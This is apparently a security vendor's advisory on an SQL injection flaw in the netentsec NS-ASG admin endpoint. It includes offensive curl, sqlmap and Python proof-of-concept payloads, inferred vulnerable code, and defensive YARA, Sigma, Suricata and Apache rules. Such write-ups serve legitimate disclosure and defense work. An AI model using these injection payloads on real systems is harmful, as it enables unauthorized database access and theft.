CVE-2024-30867

Executive Summary

CVE-2024-30867 is a critical SQL Injection vulnerability discovered in the netentsec NS-ASG application version 6.3. The flaw resides in the /admin/edit_virtual_site_info.php endpoint, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, data manipulation, and potential full compromise of the underlying database server. No official patch has been released by the vendor at this time, making this a high-priority threat for all organizations using the affected software.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone web application vulnerability in the netentsec NS-ASG product.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official CVSS vector assigned by NVD) Threat Level: Critical (Based on exploitation potential and lack of patch)

Estimated CVSS Vector (Based on vulnerability characteristics): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Breakdown:

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the SQL injection.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database can be disrupted or destroyed.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id parameter passed to /admin/edit_virtual_site_info.php. The application fails to sanitize or parameterize user-supplied input before constructing SQL queries. An attacker can inject SQL commands by manipulating the id parameter in a GET or POST request.

Technical Flow:

1. The application receives a request to /admin/edit_virtual_site_info.php?id=1.
2. The id value is directly concatenated into a SQL query without sanitization.
3. An attacker can modify the id parameter to include SQL syntax, e.g., 1' OR '1'='1.
4. The injected SQL is executed against the backend database, allowing data extraction, modification, or command execution.

Example vulnerable SQL query (inferred):

SELECT * FROM virtual_sites WHERE id = $_GET['id'];

Injected query:

SELECT * FROM virtual_sites WHERE id = 1' UNION SELECT username, password FROM users-- ;

Vulnerable vs. Patched Code

Vulnerable Code (netentsec NS-ASG 6.3):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM virtual_sites WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical fix):

<?php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM virtual_sites WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements and input validation to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running netentsec NS-ASG 6.3
• Network access to the admin interface

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/admin/edit_virtual_site_info.php?id=1"
   

2. Test for SQL injection:

   curl "http://target.com/admin/edit_virtual_site_info.php?id=1'"
   

   Look for SQL error messages in the response.

3. Extract database information:

   curl "http://target.com/admin/edit_virtual_site_info.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/admin/edit_virtual_site_info.php?id=1" --batch --dbs
   

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/admin/edit_virtual_site_info.php"
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
params = {'id': payload}

response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious patterns in the id parameter.
2. Look for SQL keywords like UNION, SELECT, OR, AND, -- in GET/POST parameters.
3. Deploy a Web Application Firewall (WAF) with SQL injection rules.
4. Implement database activity monitoring for anomalous queries.

Honeypot Setup:

• Deploy a decoy NS-ASG instance to capture attacker behavior.
• Log all requests to /admin/edit_virtual_site_info.php for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/edit_virtual_site_info.php with unusual id parameter values.
• SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound database connections from the web server to unknown IPs.

File IOCs:

• Modified or new files in the web root directory (e.g., webshells).
• Unusual entries in web server access logs.

Behavioral IOCs:

• Unexpected database queries (e.g., UNION SELECT, LOAD_FILE).
• Privilege escalation attempts on the database server.

Detection Engineering

YARA Rule

rule CVE_2024_30867_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30867"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30867"
    strings:
        $sqli_pattern1 = /id=\d*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/
        $sqli_pattern2 = /id=\d*['\"]\s*\/\*/
        $sqli_pattern3 = /id=\d*['\"]\s*;/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-30867 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against netentsec NS-ASG edit_virtual_site_info.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '/admin/edit_virtual_site_info.php?id='
        cs-uri-query|re: 'id=\d*['\''\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in ID parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-30867 SQL Injection Attempt";
    flow:to_server,established;
    content:"/admin/edit_virtual_site_info.php";
    http_uri;
    pcre:"/id=\d*['\''\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect NS-ASG from the network if possible.
2. Apply virtual patching: Use a WAF to block SQL injection patterns.
3. Restrict access: Limit access to the admin interface to trusted IPs only.

Long-term Fixes:

1. Upgrade software: Contact netentsec for an official patch or upgrade to a non-vulnerable version.
2. Code review: If source code is available, implement prepared statements and input validation.
3. Database hardening: Apply least privilege principles to database accounts.

Workaround:

• Modify the web server configuration to block requests containing SQL keywords in the id parameter.
• Example Apache .htaccess rule:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (id=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)) [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers